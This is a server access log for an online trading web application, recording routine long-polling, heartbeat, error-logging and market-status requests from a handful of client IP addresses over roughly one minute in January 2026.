[09/Jan/2026:14:39:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941050322 HTTP/1.1" -
[09/Jan/2026:14:39:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941067761 HTTP/1.1" -
[09/Jan/2026:14:39:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941060268 HTTP/1.1" -
[09/Jan/2026:14:39:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941054246 HTTP/1.1" -
[09/Jan/2026:14:39:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941055460 HTTP/1.1" -
[09/Jan/2026:14:39:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941072795 HTTP/1.1" -
[09/Jan/2026:14:39:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:39:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:39:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941065305 HTTP/1.1" -
[09/Jan/2026:14:39:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941059280 HTTP/1.1" -
[09/Jan/2026:14:39:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941060604 HTTP/1.1" -
[09/Jan/2026:14:39:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:39:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:39:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941077857 HTTP/1.1" -
[09/Jan/2026:14:39:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:39:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:39:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:39:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941070416 HTTP/1.1" -
[09/Jan/2026:14:39:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941064310 HTTP/1.1" -
[09/Jan/2026:14:39:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941065659 HTTP/1.1" -
[09/Jan/2026:14:39:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941082887 HTTP/1.1" -
[09/Jan/2026:14:39:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941075456 HTTP/1.1" -
[09/Jan/2026:14:39:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941069342 HTTP/1.1" -
[09/Jan/2026:14:40:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941070723 HTTP/1.1" -
[09/Jan/2026:14:40:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941087917 HTTP/1.1" -
[09/Jan/2026:14:40:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:40:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:40:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941074387 HTTP/1.1" -
[09/Jan/2026:14:40:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941080539 HTTP/1.1" -
[09/Jan/2026:14:40:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941075849 HTTP/1.1" -
[09/Jan/2026:14:40:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941092938 HTTP/1.1" -
[09/Jan/2026:14:40:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941079417 HTTP/1.1" -
[09/Jan/2026:14:40:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941085631 HTTP/1.1" -
[09/Jan/2026:14:40:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:40:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:40:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941080995 HTTP/1.1" -
[09/Jan/2026:14:40:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941097999 HTTP/1.1" -
[09/Jan/2026:14:40:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941084451 HTTP/1.1" -
[09/Jan/2026:14:40:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941090706 HTTP/1.1" -
[09/Jan/2026:14:40:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941086149 HTTP/1.1" -
[09/Jan/2026:14:40:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941103064 HTTP/1.1" -
[09/Jan/2026:14:40:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:40:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:40:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:40:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:40:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941089509 HTTP/1.1" -
[09/Jan/2026:14:40:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941095734 HTTP/1.1" -
[09/Jan/2026:14:40:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:40:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:40:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:40:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:40:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941091284 HTTP/1.1" -
[09/Jan/2026:14:40:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:40:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:40:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941108119 HTTP/1.1" -
[09/Jan/2026:14:40:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:40:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:40:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941094562 HTTP/1.1" -
[09/Jan/2026:14:40:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941100828 HTTP/1.1" -
[09/Jan/2026:14:40:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941096343 HTTP/1.1" -
[09/Jan/2026:14:40:27 +0800] 94.231.206.106 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:14:40:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941113150 HTTP/1.1" -
[09/Jan/2026:14:40:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941099585 HTTP/1.1" -
[09/Jan/2026:14:40:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941105859 HTTP/1.1" -
[09/Jan/2026:14:40:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941101404 HTTP/1.1" -
[09/Jan/2026:14:40:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941118178 HTTP/1.1" -
[09/Jan/2026:14:40:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:40:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:40:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941104635 HTTP/1.1" -
[09/Jan/2026:14:40:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941110918 HTTP/1.1" -
[09/Jan/2026:14:40:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941106554 HTTP/1.1" -
[09/Jan/2026:14:40:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941123198 HTTP/1.1" -
[09/Jan/2026:14:40:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941109663 HTTP/1.1" -
[09/Jan/2026:14:40:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941116014 HTTP/1.1" -
[09/Jan/2026:14:40:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:40:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:40:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941111694 HTTP/1.1" -
[09/Jan/2026:14:40:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941128232 HTTP/1.1" -
[09/Jan/2026:14:40:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941114702 HTTP/1.1" -
[09/Jan/2026:14:40:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941121081 HTTP/1.1" -
[09/Jan/2026:14:40:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941117032 HTTP/1.1" -
[09/Jan/2026:14:40:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941133286 HTTP/1.1" -
[09/Jan/2026:14:40:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:40:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:40:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:40:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:40:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941119731 HTTP/1.1" -
[09/Jan/2026:14:40:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941126112 HTTP/1.1" -
[09/Jan/2026:14:40:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
